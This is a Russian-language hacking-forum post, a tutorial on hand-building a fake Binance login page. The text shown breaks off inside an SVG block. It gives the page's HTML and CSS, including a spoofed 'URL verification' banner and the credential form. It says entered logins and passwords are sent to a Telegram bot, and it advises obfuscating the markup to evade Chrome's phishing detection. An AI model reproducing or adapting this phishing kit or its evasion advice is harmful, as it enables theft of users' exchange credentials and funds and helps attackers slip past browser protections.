• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Фишинг Binance. Делюсь опытом как я сделал фиш за пару часов. Да и в целом о фиш сайтах.

baranoff

ripper
КИДАЛА
Регистрация
31.08.2023
Сообщения
68
Реакции
68
Пожалуйста, обратите внимание, что пользователь заблокирован
Листал форум, увидел тему (https://xss.pro/threads/96288/). Человек интересуется как создавать фишинги, с чего начать и что это вообще такое.
Пару дней назад я сделал специально фишинг более менее похожий на страницу авторизации https://accounts.binance.com/en/login. Когда жертва вводит логин пароль приходит сообщение от телеграм бота с этими данными. Даже бэкэнд не стал делать, все настолько просто что здесь можно обойтись обычным HTML/CSS/Bootstrap JavaScript(jQuery) и API телеграма. Собственно в этой статье я и хочу разобрать по пунктам как это все делается от а до я. Ссылка на мой фиш здесь - https://xss.pro/threads/97219/.

Пока не уверен на 100%, но вот несколько преимуществ делать фишинг с нуля, а не выкачивать страничку сайта через с помощью спец. софта.
  1. Детект на фишинг от хрома. С недавних пор боты гугла определяют выкачанный ли сайт, то есть фишинг или оригинал. Если фишинг то браузер показывает Red Attention на весь экран и юзера это сразу отпугнет, он даже не будет нажимать кнопку "довериться" этому сайту
    1693913015730.png
    , просто закроет его и вы потеряете потенциальный лог. Работает это скорее всего так: бот гугла сканирует html'ки всех сайтов и если появляется копия сайта с точно такой же html'кой со схожестью наверное процентов 80%, то он вешает этому сайту лейбл фишинг. Иногда доходит до абсурда и гугл даже вешал лейбл фишинг на легитимные сайты (панели), типа FastPanel. Страница авторизации панели на всех серверах/доменах одинаковая и на новосозданные свои же панели я ловил это предупреждение. В общем обойти это можно грубо говоря обфусцируя html верстку, меняя теги, названия классов, стили, переставлять блоки местами, причем так чтоб внешний вид сайта не менялся. Или же делать чистую верстку с нуля, даже в верстке каждый разработчик уникален и верстая один и тот же сайт будет получаться разный код, от сюда мы и получаем обход этого детекта. Работать это будет конечно пока гугл не внедрит ИИ, который будет сравнивать не только HTML, а еще внешний вид сайта по скриншоту с пк и телефона, тогда нас всех дружно насадят на огромный болт и будут иметь как шлюху в день нефтянника.
  2. Простота в читабельности кода, его доработки, независимость от билдов JS фреймворков. Все крутые фронтендеры, IT компании с большой вероятностью используют в основе такие фреймворки: React, Vue, Angular. В отличии от бэкэнд фрейморков например Laravel(PHP), чтоб получить свой фронт и залить его на хостинг проект нужно билдить, далее этот билд, а обычно это один index.html с подключенными кучей js файлов с названиями вроде 34123nj23jk12h3j.js заливают на хостинг и вуаля проект работает. Но есть одно, что билд становится совершенно нечитабельным, в зависимости от инструмента, которым вы будете выкачивать сайт можете получить вовсе в index.html из htmlя такой код
    HTML:
    <div id="root"></div>
    , но при открытии сайта на локалхосте все будет работать исправно ну максимум будут какие-то ерроры в консоли, которые не будут влиять на внешний вид фиша. Может быть что файл и не будет пустой, но в htmlе будет куча непонятных атрибутов, класов, айдишников с совершенно нечитабельными и рандомными названиями в абсолютно рандомных местах. У вас в голове может быть десонанс, почему файл пустой, а все работает или что за хрень или почему я выкачал какой-то мусор. И вопросы типа, а как же мне поменять этот выкачанный сайт, как сделать отстук в тг, как поменять контактные данные или еще какую-то информацию на подставную. В этом случае понадобятся неплохие знания JavaScriptа и умение манипулировать DOM'ом, отслеживание отрисовки документа и понимание асинхронности. Даже если эти знания будут, то тоже не факт что вы справитесь быстро и качественно, это как из говна делать бриллиант, вряд-ли выйдет хорошо. Именно поэтому проще своими силами делать верстку с нуля, тут вам будет и полное понимание работы верстки, понимание ее недочетов, и самое главное возможность делать все что захочешь, не зависить от билда фреймворка и вероятность получить нужный результат удваивается. Так-же с чисткой версткой можно будет масштабировать ваш фиш, использовать уже фреймворки но в привычном для вас читабельном виде и постоянно улучшать проект.
Что ж начнем разбор фиша Binanca. В основе у нас bootstrap, думаю те кто начинал учить веб разработку уже сталкивался с этой штукой, сильно вдаваться в подробности не буду, но инструмент позволяет делать адаптивную верстку с помощью классов, которые представляют собой заготовки flex'ов и grid'ов. Подключить его к HTML довольно легко, одна строчка в <head> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-4bw+/aepP/YC94hEpVNVgiZdgIC5+VKNBQNGCHeKRQN+PtmoHDEXuppvnDJzQIu9" crossorigin="anonymous"> и одна перед закрывающимся тегом </body> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-HwwvtgBNo3bZJJLYd8oVXjrBZt8cqVSpeBNS5n7C8IVInixGAoxmnlMuBnhbgrkm" crossorigin="anonymous"></script>.
После того как подключен бутстрап, можно переходить к разбору.

1. Начнем с шапки
1693912203596.png

HTML:
<div class="container-fluid mt-3">
   <div class="row">
      <div class="col-sm-1">
         <svg fill="#f0bd19" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 5120 1024" class="css-4fx19t">
            <path
               d="M230.997333 512L116.053333 626.986667 0 512l116.010667-116.010667L230.997333 512zM512 230.997333l197.973333 197.973334 116.053334-115.968L512 0 197.973333 314.026667l116.053334 115.968L512 230.997333z m395.989333 164.992L793.002667 512l116.010666 116.010667L1024.981333 512l-116.992-116.010667zM512 793.002667l-197.973333-198.997334-116.053334 116.010667L512 1024l314.026667-314.026667-116.053334-115.968L512 793.002667z m0-165.973334l116.010667-116.053333L512 396.032 395.989333 512 512 626.986667z m1220.010667 11.946667v-1.962667c0-75.008-40.021333-113.024-105.002667-138.026666 39.978667-21.973333 73.984-58.026667 73.984-121.002667v-1.962667c0-88.021333-70.997333-145.024-185.002667-145.024h-260.992v561.024h267.008c126.976 0.981333 210.005333-51.029333 210.005334-153.002666z m-154.026667-239.957333c0 41.984-34.005333 58.965333-89.002667 58.965333h-113.962666V338.986667h121.984c52.010667 0 80.981333 20.992 80.981333 58.026666v2.005334z m31.018667 224c0 41.984-32.981333 61.013333-87.04 61.013333h-146.944v-123.050667h142.976c63.018667 0 91.008 23.04 91.008 61.013334v1.024z m381.994666 169.984V230.997333h-123.989333v561.024h123.989333v0.981334z m664.021334 0V230.997333h-122.026667v346.026667l-262.997333-346.026667h-114.005334v561.024h122.026667v-356.010666l272 356.992h104.96z m683.946666 0L3098.026667 228.010667h-113.962667l-241.024 564.992h127.018667l50.986666-125.994667h237.013334l50.986666 125.994667h130.005334z m-224.981333-235.008h-148.992l75.008-181.973334 73.984 181.973334z m814.037333 235.008V230.997333h-122.026666v346.026667l-262.997334-346.026667h-114.005333v561.024h122.026667v-356.010666l272 356.992h104.96z m636.970667-91.008l-78.976-78.976c-44.032 39.978667-83.029333 65.962667-148.010667 65.962666-96 0-162.986667-80-162.986666-176v-2.986666c0-96 67.968-174.976 162.986666-174.976 55.978667 0 100.010667 23.978667 144 62.976l78.976-91.008c-51.968-50.986667-114.986667-86.997333-220.970666-86.997334-171.989333 0-292.992 130.986667-292.992 290.005334V512c0 160.981333 122.965333 288.981333 288 288.981333 107.989333 1.024 171.989333-36.992 229.973333-98.986666z m527.018667 91.008v-109.994667h-305.024v-118.016h265.002666v-109.994667h-265.002666V340.992h301.013333V230.997333h-422.997333v561.024h427.008v0.981334z"
               p-id="2935"></path>
         </svg>
      </div>
      <div class="col d-flex justify-content-end">
         <div class="d-flex">
            <div class="pe-2">
               <svg xmlns="http://www.w3.org/2000/svg" width="17" height="17" fill="black" class="bi bi-globe2"
                  viewBox="0 0 16 16">
                  <path
                     d="M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8zm7.5-6.923c-.67.204-1.335.82-1.887 1.855-.143.268-.276.56-.395.872.705.157 1.472.257 2.282.287V1.077zM4.249 3.539c.142-.384.304-.744.481-1.078a6.7 6.7 0 0 1 .597-.933A7.01 7.01 0 0 0 3.051 3.05c.362.184.763.349 1.198.49zM3.509 7.5c.036-1.07.188-2.087.436-3.008a9.124 9.124 0 0 1-1.565-.667A6.964 6.964 0 0 0 1.018 7.5h2.49zm1.4-2.741a12.344 12.344 0 0 0-.4 2.741H7.5V5.091c-.91-.03-1.783-.145-2.591-.332zM8.5 5.09V7.5h2.99a12.342 12.342 0 0 0-.399-2.741c-.808.187-1.681.301-2.591.332zM4.51 8.5c.035.987.176 1.914.399 2.741A13.612 13.612 0 0 1 7.5 10.91V8.5H4.51zm3.99 0v2.409c.91.03 1.783.145 2.591.332.223-.827.364-1.754.4-2.741H8.5zm-3.282 3.696c.12.312.252.604.395.872.552 1.035 1.218 1.65 1.887 1.855V11.91c-.81.03-1.577.13-2.282.287zm.11 2.276a6.696 6.696 0 0 1-.598-.933 8.853 8.853 0 0 1-.481-1.079 8.38 8.38 0 0 0-1.198.49 7.01 7.01 0 0 0 2.276 1.522zm-1.383-2.964A13.36 13.36 0 0 1 3.508 8.5h-2.49a6.963 6.963 0 0 0 1.362 3.675c.47-.258.995-.482 1.565-.667zm6.728 2.964a7.009 7.009 0 0 0 2.275-1.521 8.376 8.376 0 0 0-1.197-.49 8.853 8.853 0 0 1-.481 1.078 6.688 6.688 0 0 1-.597.933zM8.5 11.909v3.014c.67-.204 1.335-.82 1.887-1.855.143-.268.276-.56.395-.872A12.63 12.63 0 0 0 8.5 11.91zm3.555-.401c.57.185 1.095.409 1.565.667A6.963 6.963 0 0 0 14.982 8.5h-2.49a13.36 13.36 0 0 1-.437 3.008zM14.982 7.5a6.963 6.963 0 0 0-1.362-3.675c-.47.258-.995.482-1.565.667.248.92.4 1.938.437 3.008h2.49zM11.27 2.461c.177.334.339.694.482 1.078a8.368 8.368 0 0 0 1.196-.49 7.01 7.01 0 0 0-2.275-1.52c.218.283.418.597.597.932zm-.488 1.343a7.765 7.765 0 0 0-.395-.872C9.835 1.897 9.17 1.282 8.5 1.077V4.09c.81-.03 1.577-.13 2.282-.287z" />
               </svg>
            </div>
            <div class="border-start border-black ps-2">
               <svg xmlns="http://www.w3.org/2000/svg" width="17" height="17" fill="black"
                  class="bi bi-moon-fill" viewBox="0 0 16 16">
                  <path
                     d="M6 .278a.768.768 0 0 1 .08.858 7.208 7.208 0 0 0-.878 3.46c0 4.021 3.278 7.277 7.318 7.277.527 0 1.04-.055 1.533-.16a.787.787 0 0 1 .81.316.733.733 0 0 1-.031.893A8.349 8.349 0 0 1 8.344 16C3.734 16 0 12.286 0 7.71 0 4.266 2.114 1.312 5.124.06A.752.752 0 0 1 6 .278z" />
               </svg>
            </div>
         </div>
      </div>
   </div>
</div>

Можем увидеть три элемента: лого, иконка интернета, иконка луны.
Структура расположения элементов: row, в котором две колонки одна из которых col-sm-1 (занимает одну ячейку из 12) и просто col (занимает остальные 11 ячеек). col-sm-1 - сделано чтоб задать маленький размер логотипу (вместо width: 150px).
Лого можно было не выносить в отдельную .svg картинку и подключать через img, достаточно скопировать этот svg в HTML код и мы получаем тот же результат.
Иконка луны и интернета взята с icons.bootstrap.com так же в svg формате простым копированием.
Иконки обьедены в ряд с помощью d-flex и выравняны по правому краю через justify-content-end.

2. Warning о адресе (url) сайта.
1693944601479.png

HTML:
<div class="container-fluid mt-2 py-2 text-center" style="background-color: #fef6d8;">
   <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="#0ecb81" class="bi bi-lock-fill"
      viewBox="0 0 16 16">
      <path
         d="M8 1a2 2 0 0 1 2 2v4H6V3a2 2 0 0 1 2-2zm3 6V3a3 3 0 0 0-6 0v4a2 2 0 0 0-2 2v5a2 2 0 0 0 2 2h6a2 2 0 0 0 2-2V9a2 2 0 0 0-2-2z" />
   </svg>
   <small><span class="fw-bold">URL verification:</span> <span
      class="text-success">https://</span>accounts.binance.com</small>
</div>

Выделю здесь три элемента: задний фон, иконка замка, текст.
Сам блок это container-fluid покрашенный в цвет HEX #fef6d8.
Иконка замка так-же бутстраповская. окрашена в цвет #0ecb81.
URL verification сделан жирным через fw-bold. https:// сделан зеленым через text-success класс.

3. Основной блок. Пока только структура.
1693944953291.png

row, внутри которого два col-sm-4, смещенные в центр с помощью justify-content-center.

3.1 Левый блок. Авторизация
1693945162419.png

1693945396168.png

HTML:
<div class="col-sm-4">
   <h3 class="fw-bold">Log In</h3>
   <div class="mt-3 check-input">
      <label for="exampleInputEmail1" class="form-label">Email / Phone Number</label>
      <input type="text" class="form-control rounded-1 form-control-lg">
      <span class="d-none">Please enter a valid email or phone number.</span>
   </div>
   <div class="mt-3 check-input">
      <label for="exampleInputEmail1" class="form-label">Password</label>
      <input type="text" class="form-control rounded-1 form-control-lg">
      <span class="d-none">Please enter password.</span>
   </div>
   <button onclick="check()" class="btn btn-warning py-2 w-100 mt-3 rounded-1">Next</button>
   <div class="row mt-2">
      <div class="col">
         <hr>
      </div>
      <div class="col-2 text-center">
         <small class="text-secondary">or</small>
      </div>
      <div class="col">
         <hr>
      </div>
   </div>
   <button type="button" class="btn btn-secondary w-100 mt-3 position-relative p-2">
      <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="black" class="bi bi-google"
         viewBox="0 0 16 16">
         <path
            d="M15.545 6.558a9.42 9.42 0 0 1 .139 1.626c0 2.434-.87 4.492-2.384 5.885h.002C11.978 15.292 10.158 16 8 16A8 8 0 1 1 8 0a7.689 7.689 0 0 1 5.352 2.082l-2.284 2.284A4.347 4.347 0 0 0 8 3.166c-2.087 0-3.86 1.408-4.492 3.304a4.792 4.792 0 0 0 0 3.063h.003c.635 1.893 2.405 3.301 4.492 3.301 1.078 0 2.004-.276 2.722-.764h-.003a3.702 3.702 0 0 0 1.599-2.431H8v-3.08h7.545z" />
      </svg>
      Continue with Google
   </button>
   <button type="button" class="btn btn-secondary w-100 mt-3 position-relative p-2">
      <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="black" class="bi bi-apple"
         viewBox="0 0 16 16">
         <path
            d="M11.182.008C11.148-.03 9.923.023 8.857 1.18c-1.066 1.156-.902 2.482-.878 2.516.024.034 1.52.087 2.475-1.258.955-1.345.762-2.391.728-2.43Zm3.314 11.733c-.048-.096-2.325-1.234-2.113-3.422.212-2.189 1.675-2.789 1.698-2.854.023-.065-.597-.79-1.254-1.157a3.692 3.692 0 0 0-1.563-.434c-.108-.003-.483-.095-1.254.116-.508.139-1.653.589-1.968.607-.316.018-1.256-.522-2.267-.665-.647-.125-1.333.131-1.824.328-.49.196-1.422.754-2.074 2.237-.652 1.482-.311 3.83-.067 4.56.244.729.625 1.924 1.273 2.796.576.984 1.34 1.667 1.659 1.899.319.232 1.219.386 1.843.067.502-.308 1.408-.485 1.766-.472.357.013 1.061.154 1.782.539.571.197 1.111.115 1.652-.105.541-.221 1.324-1.059 2.238-2.758.347-.79.505-1.217.473-1.282Z" />
         <path
            d="M11.182.008C11.148-.03 9.923.023 8.857 1.18c-1.066 1.156-.902 2.482-.878 2.516.024.034 1.52.087 2.475-1.258.955-1.345.762-2.391.728-2.43Zm3.314 11.733c-.048-.096-2.325-1.234-2.113-3.422.212-2.189 1.675-2.789 1.698-2.854.023-.065-.597-.79-1.254-1.157a3.692 3.692 0 0 0-1.563-.434c-.108-.003-.483-.095-1.254.116-.508.139-1.653.589-1.968.607-.316.018-1.256-.522-2.267-.665-.647-.125-1.333.131-1.824.328-.49.196-1.422.754-2.074 2.237-.652 1.482-.311 3.83-.067 4.56.244.729.625 1.924 1.273 2.796.576.984 1.34 1.667 1.659 1.899.319.232 1.219.386 1.843.067.502-.308 1.408-.485 1.766-.472.357.013 1.061.154 1.782.539.571.197 1.111.115 1.652-.105.541-.221 1.324-1.059 2.238-2.758.347-.79.505-1.217.473-1.282Z" />
      </svg>
      Continue with Apple
   </button>
   <p class="text-warning mt-3 fw-bold">Create a Binance Account</p>
</div>

Тут уже элементов больше: заголовок, два поля ввода, кнопка некст, две кнопки auth через гугл и эпл, текст создание аккаунта, текст валидации об ошибке.
Заголовок - обычный h3.
Поля ввода: form-control класс добавляет "современный вид". rounded-1 уменьшает закругление, на бинансе оно не сильно большое. form-control-lg увеличивает поле ввода и текст вводимый в него на процентов 30.
Текст ошибки скрыт через класс d-none, красный цвет делает класс text-danger.
Кнопка некст - стандартный btn-warning, но через стили изменен оттенок желтого цвета
CSS:
.btn-warning {
    background-color: #fcd535;
}
Кнопки авторизации через соц сети так-же стандартный btn-secondary, так-же изменен оттенок серого, цвет текста внутри сменен на черный, убраны бордеры.
CSS:
.btn-secondary {
            background-color: #eaecef;
            color: black;
            border: unset;
        }
Текст о создании аккаунта окрашен в желтый через text-warning, добавлена жирность через fw-bold.

3.2 Правый блок
1693946172323.png

HTML:
<div class="col-sm-4 position-relative d-flex flex-column justify-content-center align-items-center text-center gap-2">
   <div class="position-relative">
      <div style="visibility: hidden; width: 175px; height: 175px;"></div>
      <svg class="opacity-25 position-center" xmlns="http://www.w3.org/2000/svg"
         xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve" width="175" height="175"
         viewBox="0 0 696 696">
         <rect width="696" height="696" fill="#ffffff" x="0" y="0" />
         <g fill="#000000">
            <g transform="translate(288,48) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(360,48) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,48) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(312,72) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(336,72) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(360,72) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(384,72) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(408,72) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,72) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,96) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(264,96) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(312,96) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(384,96) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,120) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(264,120) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(288,120) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(336,120) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(360,120) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(384,120) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(408,120) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,144) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(288,144) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(360,144) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,144) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,168) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(312,168) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(336,168) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(384,168) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(408,168) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,192) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(288,192) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(336,192) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(384,192) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,192) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,216) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(384,216) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,216) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(48,240) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(96,240) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(120,240) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(144,240) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(168,240) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(192,240) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(288,240) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(480,240) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(504,240) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(528,240) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(552,240) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(576,240) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(48,264) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(72,264) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(96,264) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(120,264) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(144,264) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,264) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(264,264) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(288,264) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(312,264) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(336,264) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(360,264) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(504,264) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(600,264) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(48,288) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(144,288) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(192,288) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,288) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(360,288) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(384,288) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(408,288) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,288) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(528,288) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(552,288) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(600,288) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(624,288) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(96,312) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(264,312) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(288,312) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(312,312) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(360,312) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(408,312) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,312) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(456,312) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(480,312) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(624,312) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(72,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(120,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(168,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(192,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(216,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(264,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(312,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(336,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(384,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(408,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(456,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(480,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(528,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(576,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(600,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(624,336) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(48,360) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(72,360) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(96,360) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(168,360) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,360) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(264,360) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,360) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(504,360) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(552,360) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(600,360) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(48,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(120,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(192,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(216,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(288,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(312,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(336,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(408,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(456,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(504,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(528,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(552,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(600,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(624,384) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(48,408) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(144,408) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(216,408) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(264,408) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(288,408) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(312,408) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(384,408) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(504,408) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(528,408) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(624,408) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(48,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(96,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(120,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(144,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(168,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(192,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(216,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(312,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(408,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(456,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(480,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(504,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(528,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(576,432) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,456) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(264,456) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(336,456) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(360,456) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(384,456) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(408,456) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,456) scale(4.12)">
